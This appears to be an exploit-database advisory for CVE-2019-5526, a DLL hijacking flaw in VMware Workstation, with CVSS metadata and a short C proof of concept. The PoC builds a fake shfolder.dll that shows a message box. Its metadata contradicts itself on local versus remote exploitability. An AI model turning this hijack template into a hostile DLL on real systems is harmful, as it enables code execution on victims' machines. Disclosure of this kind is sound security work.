VMware Workstation DLL Hijacking

2019.05.17
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#--------------------------------------------------------- # Title: VMware Workstation DLL hijacking < 15.1.0 # Date: 2019-05-14 # Author: Miguel Mendez Z. & Claudio Cortes C. # Team: www.exploiting.cl # Vendor: https://www.vmware.com # Version: VMware Workstation Pro / Player (Workstation) # Tested on: Windows Windows 7_x86/7_x64 [eng] # Cve: CVE-2019-5526 #--------------------------------------------------------- Description: VMware Workstation contains a DLL hijacking issue because some DLL. DLL Hijacking: shfolder.dll Hooking: SHGetFolderPathW() ------Code_Poc------- #include "dll.h" #include <windows.h> DLLIMPORT void SHGetFolderPathW() { MessageBox(0, "s1kr10s", "VMWare-Poc", MB_ICONINFORMATION); exit(0); } -------------------------- https://www.vmware.com/security/advisories/VMSA-2019-0007.html


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